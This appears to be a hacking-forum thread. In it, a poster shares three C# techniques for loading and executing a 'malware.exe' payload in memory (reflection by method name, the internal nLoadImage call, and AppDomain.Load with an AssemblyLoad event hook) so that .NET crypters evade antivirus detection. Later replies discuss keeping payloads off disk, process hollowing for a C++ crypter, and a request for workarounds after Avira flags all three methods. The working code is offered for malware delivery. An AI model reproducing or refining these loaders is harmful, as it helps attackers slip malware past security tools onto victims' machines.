[gigajew]

Is your .NET crypter getting detected? Is it the old Assembly.Load and EntryPoint.Invoke calls? Man, I wish there were other ways to call them. Oh wait, there are! Here are some ways to invoke assemblies, without directly calling Assembly.Load (IL level, not memory level). Unless you are using a .NET compatible RunPE (ahem, Menalix), this could be useful for you.

Method one
Using reflection to call methods by string name.

Code

using System;
using System.Diagnostics;

using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Permissions;

using System.IO;
using System.Reflection;

using System.Collections;
using System.Collections.Generic;

namespace pg1 {
    
    public static class Program {
        
        public static void Main() {
            var filename = "malware.exe";
            var assembly = Call(typeof(Assembly), "Load", System.IO.File.ReadAllBytes(filename)) as Assembly;// or (Assembly)...
            Call(typeof(Program), "InvokeEntrypoint", assembly);
        }
        
        public static void InvokeEntrypoint(Assembly asm) {
            asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
        }
        
        //Calls method using reflection, instead of directly
        public static object Call(Type space, string name, params object[] argv) {
            List<Type> ptyp = new List<Type>();
            foreach(var o in argv) {
                ptyp.Add(o.GetType());
            }
            var m = space.GetMethod(name, ptyp.ToArray());
            return m.Invoke(null, argv);
        }
    }
}

Method Two
Using the internal method nLoadImage (from System.Reflection.RuntimeAssembly)

(You may have to investigate the parameter usage for .NET 2.0 - 3.5, this works in .NET 4.0 afaik

Code

using System;
using System.Diagnostics;

using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Permissions;

using System.IO;
using System.Reflection;

using System.Collections;
using System.Collections.Generic;


namespace pg1 {
    
    public static class Program {
        
        public static void Main() {
            /*
                Get the malware data
            */
            var data = System.IO.File.ReadAllBytes("malware.exe");
            
            /*
                Invoke the internal method _nLoad
            */
            var assembly = InternalLoad(data);
            
            /*
                Execute
            */
            InvokeEntrypoint(assembly);
        }
        
        public static Assembly InternalLoad(byte[] image) {
            return Type.GetType("System.Reflection.RuntimeAssembly").GetMethod("nLoadImage", BindingFlags.NonPublic | BindingFlags.Static).Invoke(null, new object[] { image, null, null, null, false, null }) as Assembly;
        }
        
        public static void InvokeEntrypoint(Assembly asm) {
            asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
        }
    }
}

Method three
Using the AppDomain.Load method

Code

using System;
using System.Diagnostics;

using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Permissions;

using System.IO;
using System.Reflection;

using System.Collections;
using System.Collections.Generic;


namespace pg1 {
    
    public static class Program {
        
        public static void Main() {
            var data = System.IO.File.ReadAllBytes("malware.exe");
            
            SetupInvoker(); //call only once, invokes the entrypoint
            var assembly = AppDomainLoad(data);
        }
        
        public static void SetupInvoker() {
            AppDomain.CurrentDomain.AssemblyLoad += delegate(object sender, AssemblyLoadEventArgs args) {
                InvokeEntrypoint(args.LoadedAssembly);
            };
        }
        
        public static Assembly AppDomainLoad(byte[] image) {
            return AppDomain.CurrentDomain.Load(image);
        }
        
        public static void InvokeEntrypoint(Assembly asm) {
            asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
        }
    }
}

There are some more ways to do this, and I may post them here later. Thanks for reading.

[Zilog80]

Maybe the most stupid question ever:
If you want to execute "malware.exe", what is wrong using:?

Code

Process.Start("malware.exe")

As I said before, maybe it is the most stupid question ever. Keep Calm and ELI5

[gigajew]

Maybe the most stupid question ever:
If you want to execute "malware.exe", what is wrong using:?

Code

Process.Start("malware.exe")

As I said before, maybe it is the most stupid question ever. Keep Calm and ELI5

By keeping the file in memory you won't have the malware detected by writing it to the disk

[Mustys]

Nice guide for those who have this problem, keep it up!

[ONURIS]

nice codes , may help some mates

[ＪＵＳＴＩＮ]

By keeping the file in memory you won't have the malware detected by writing it to the disk

How is it being executed in memory...? Where does it get the assembly to execute from?

[gigajew]

How is it being executed in memory...? Where does it get the assembly to execute from?

From a byte array containing the data, retrieved from (for example) native or managed resources

[ＪＵＳＴＩＮ]

From a byte array containing the data, retrieved from (for example) native or managed resources

Oh that's really interesting, thanks for the info. Been curious about that for a while. Might play around with it.

[n0$f3ratu$]

By keeping the file in memory you won't have the malware detected by writing it to the disk

Ohhh dude, you are so damn wrong!!!
Stop telling peoples shit like this.

[Cecilia]

Ohhh dude, you are so damn wrong!!!
Stop telling peoples shit like this.

Hmm, I wonder what that elusive thing is called... that's right,
Memory scanning!

[gigajew]

Ohhh dude, you are so damn wrong!!!
Stop telling peoples shit like this.

Read it again. I'm not saying payload in memory is undetected, I'm saying the payload won't be detected from writing it to the disk, which it then won't and which it then can't

Take your thumb out of your ass and put on some reading glasses

[Mr. Kim]

Nice info <3

Any useful Win32 functions for process hollowing you know of? Or anyone for that matter, I'm trying to work on a crypter without .net dependencies.

[gigajew]

Nice info <3

Any useful Win32 functions for process hollowing you know of? Or anyone for that matter, I'm trying to work on a crypter without .net dependencies.

So are you writing it in c/c++?

[Mr. Kim]

So are you writing it in c/c++?

C++

[TaySoft]

All 3 Methods are detected as TR/DROPER.MSIL.GEN (AVIRA)

Won't be detected if i ONLY write down the payload on disk without invoking the payload.
But as soon as i try to invoke that written down payload (or even without writing/reading, just loading in a variable of encr. payload) in memory using one of your 3 methods, it still instantly gets detected.

Tested all 3 of your provided methods and all of them got detected.
Was is really FUD as you claimed to be on your thread title? Can't believe i missed the train by a couple of months then ugh :(

Any workaround here?